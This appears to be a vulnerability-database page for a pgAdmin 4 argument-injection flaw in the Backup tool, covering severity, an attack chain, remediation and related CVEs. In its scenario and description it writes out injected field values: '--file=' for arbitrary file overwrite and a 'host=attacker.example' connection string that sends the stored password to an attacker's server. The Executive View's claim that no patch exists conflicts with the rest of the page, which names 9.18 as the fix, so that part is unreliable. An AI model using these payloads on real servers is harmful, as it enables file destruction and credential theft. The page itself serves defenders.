Skip to main content

pgAdmin 4 CVE-2026-86864

| EUVDEUVD-2026-81896 HIGH
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-09-17 PostgreSQL GHSA-xrr3-3pj6-6gw9
8.7
CVSS 4.0 · Vendor: PostgreSQL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as default-role pgAdmin user
  2. Delivery
    Submit Backup job with crafted 'database' field
  3. Exploit
    Value injected into pg_dump argv (getopt_long permutes / libpq expands)
  4. Execution
    Override --file or --host/--port
  5. Persist
    Write arbitrary file or redirect connection with PGPASSWORD
  6. Impact
    Overwrite config DB / exfiltrate stored credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

Requires an authenticated pgAdmin 4 (before 9.18) account holding the tools_backup permission, which is included in the default 'User' role - so in practice any ordinary pgAdmin user can exploit it. The attacker submits a Backup job (/backup/job/<sid>/object) and controls the 'database' field; a value beginning with a dash (e.g. --file=/absolute/path) triggers the arbitrary-file-write path via pg_dump's getopt_long argument permutation, while a value containing an equals sign (e.g. host=attacker.example port=5432 dbname=x) triggers libpq connection-string expansion, redirecting the utility and leaking the decrypted stored password carried in PGPASSWORD. Limiting factors: exploitation requires valid credentials (PR:L, not unauthenticated) and a pgAdmin version prior to 9.18; the file-write impact is bounded by whatever the pgAdmin OS process account can write to. No user interaction or non-default configuration is needed.

Impact

This is a genuine high-priority issue, not an inflated CVSS score. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N with VC:H/VI:H/VA:H, base 8.7) is well-supported: the flaw is remotely reachable over pgAdmin's web interface, requires no user interaction, is trivially reliable (no special timing or race), and needs only the tools_backup permission that ships with the default User role - a very low authentication bar in a typical multi-user pgAdmin deployment. The impact is severe on all three axes because the argument-injection primitive yields both arbitrary file write/overwrite as the pgAdmin OS account (integrity/availability, up to destroying pgAdmin's own config database and, per the description, potential further escalation) AND theft of decrypted stored database credentials plus SSRF via connection-string redirection (confidentiality). No EPSS score, KEV listing, or public POC was provided in the input, so there is no evidence of active exploitation or automated weaponization yet - the risk is driven by the low prerequisites and high impact rather than by observed in-the-wild activity. One nuance to verify: the analysis rests entirely on the vendor description and a single GitHub issue reference; independent NVD enrichment (EPSS, CPE ranges below 9.18) was not supplied.

Exploit ScenarioDerived

An attacker who holds any account with the default User role (which grants tools_backup) logs into pgAdmin and issues a Backup job whose 'database' field is crafted as either '--file=/path/to/pgadmin/config.db' to overwrite arbitrary files as the pgAdmin OS account, or 'host=attacker.example port=5432 dbname=x' to redirect pg_dump to an attacker-controlled server. In the second case pgAdmin exports the decrypted stored password in PGPASSWORD, so the redirected connection delivers that credential straight to the attacker's endpoint. No public exploit was identified at time of analysis, but the technique is fully described in the advisory and requires only standard authenticated web access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Sep 17, 2026

Arbitrary file write and credential disclosure in pgAdmin 4 (versions before 9.18) let any authenticated user holding the tools_backup permission - which is granted to the default User role - run pg_dump with attacker-controlled arguments and connection parameters. Because the Backup tool appended the client-supplied 'database' field to the pg_dump argument vector unvalidated, a value starting with a dash is parsed by getopt_long as an option (for example --file=/absolute/path) and overrides the storage-confined output path, letting files be created or overwritten anywhere the pgAdmin OS account can write; a value containing an equals sign is expanded by libpq into a full connection string that overrides the intended host and port and redirects pg_dump to an attacker-nominated server while the decrypted stored database password is exported in PGPASSWORD. Exploitation requires valid credentials (PR:L, remote, no user interaction) and no public exploit code or confirmed active exploitation has been identified at time of analysis, but the impact is high severity and a fix is available in 9.18.

Earlier versions of this analysis (1)
v1 Sep 17, 2026 - 16:04 CVSS 8.8

Argument injection in pgAdmin 4 (versions before 9.18) allows any authenticated user holding the tools_backup permission - a permission granted to the default User role - to smuggle arbitrary pg_dump options by submitting a dash-prefixed 'database' value to the /backup/job/<sid>/object endpoint. The same field enables libpq connection-string injection, letting an attacker redirect the backup connection to a host they control while pgAdmin exports the decrypted stored database password in PGPASSWORD, and it also allows arbitrary file creation or overwrite as the operating-system account running pgAdmin, including destruction of pgAdmin's own configuration database, so the assessed CVSS 3.1 score is 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). No public exploit code was identified at time of analysis, but exploitation requires nothing more than valid credentials on a standard non-admin account and no non-default configuration.

RemediationAI

Upgrade to pgAdmin 4 9.18 or later, which contains the vendor-released fix that passes the database name through the PGDATABASE environment variable instead of the pg_dump argument vector, closing both the option-permutation file-write path and the libpq connection-string injection path; confirm the applied build by checking the installed version against the advisory at https://github.com/pgadmin-org/pgadmin4/issues/10384. If immediate upgrading is not possible, the most effective compensating control is to revoke the tools_backup permission from the default User role and grant it only to a small, trusted administrative group - the trade-off is that ordinary users lose the Backup tool entirely, and any user retaining the permission can still exploit the flaw. Additionally, run pgAdmin under a dedicated low-privilege OS account whose filesystem write access is restricted to its own storage directory and away from the pgAdmin configuration database, since the arbitrary-write impact is bounded by that account's permissions; note this does not prevent the credential-leak path, because PGPASSWORD is exported regardless. To reduce that exposure, avoid storing database passwords in pgAdmin where operationally feasible, or restrict outbound network access from the pgAdmin host so pg_dump cannot reach arbitrary external PostgreSQL endpoints - a mitigation that can break legitimate connections to databases hosted outside the local network and therefore needs to be scoped to known-good destinations. Finally, monitor and audit backup job requests for 'database' values containing leading dashes or '=' characters, treating such submissions as intrusion attempts.

Affected VersionsENISA

pgAdmin 4 0 <9.18

Affected Packages

euvd pgadmin_4 fix: 9.18

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-88 (argument injection), arising where pgAdmin 4's Backup tool built the pg_dump command line by appending the user-supplied 'database' value as a bare trailing positional argument without validation. pg_dump parses options with getopt_long, which by default permutes arguments so that option-looking tokens appearing after positional arguments are still treated as options; a value such as --file=/absolute/path therefore replaced the --file path pgAdmin had already constructed and constrained to the user's File Manager storage directory, converting a benign database-name parameter into an arbitrary file write as the OS account running pgAdmin. The same unvalidated value feeds libpq, which treats any database name containing '=' as an expanded connection string: embedded keywords like host=, port=, and dbname= override the --host and --port values pgAdmin passes, allowing the job to be pointed at an attacker-controlled PostgreSQL endpoint. Since pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before invoking the utility, the redirected connection delivers that credential to the attacker's server, turning a file-write bug into credential exfiltration. The remediation removes the database name from the argument vector entirely and supplies it via the PGDATABASE environment variable, which libpq interprets only as a literal database name and never expands as a connection string - the same pattern already used by the Import/Export tool - with regression tests asserting the name is absent from the argv and present in PGDATABASE.

Know when Pgadmin 4 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (PostgreSQL) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Remote authenticated exploitation over the web UI with only default-role permission (PR:L, AC:L, UI:N); arbitrary file write and credential theft give full C/I/A impact within the pgAdmin process scope (S:U).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.0 HIGH
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Primary rating from Vendor (PostgreSQL).

CVSS VectorVendor: PostgreSQL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Patch available
Sep 17, 2026 - 17:19 EUVD
Analysis Updated
Sep 17, 2026 - 16:31 vuln.today
v2 - CVSS changed
CVSS changed
Sep 17, 2026 - 16:22 NVD
8.8 (HIGH) 8.7 (HIGH)
CVE Published
Sep 17, 2026 - 15:31 cve.org
HIGH 8.8

DescriptionCVE.org

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.

The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.

The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.

This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

Executive ViewAI

Why It Matters

pgAdmin 4 deployments running versions before 9.18 expose an authenticated-user flaw that can let a default-role account abuse the Backup tool to write arbitrary files or redirect database connections, potentially exposing stored database credentials. Because the required tools_backup permission is granted by default, organizations with broad pgAdmin access may face credential compromise and downstream data or system exposure. Leadership should prioritize restricting Backup permissions, tightening file-system permissions for the pgAdmin service account, and preparing for a vendor fix; no public exploit has been identified at time of analysis.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: remove tools_backup from default User role; disable or tightly restrict the Backup tool; run pgAdmin 4 under a dedicated low-privilege OS account with strict file-system write restrictions; segment pgAdmin from sensitive networks; rotate stored database credentials; monitor pg_dump arguments and outbound connections; enforce MFA and least privilege.

Threat Intelligence Overview

EPSS Score
0.4%
Top 68% exploitable
Prevalence
High
de facto standard graphical administration tool for PostgreSQL databases
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2024-2044 CRITICAL POC
9.9 Mar 07

pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling

CVE-2024-3116 CRITICAL POC
9.8 Apr 04

pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr

CVE-2026-12046 CRITICAL POC
9.5 Jun 18

Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1

CVE-2022-4223 HIGH POC
8.8 Dec 13

The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post

CVE-2024-9014 MEDIUM POC
6.5 Sep 23

pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS

CVE-2025-12762 CRITICAL
9.8 Nov 13

Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma

CVE-2026-12045 CRITICAL
9.4 Jun 18

Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content

CVE-2026-17351 CRITICAL
9.4 Jul 31

SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the

CVE-2026-17566 CRITICAL POC
9.4 Jul 31

OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_

CVE-2026-7813 CRITICAL
9.4 May 11

Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users'

CVE-2024-4216 MEDIUM POC
5.4 May 02

pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy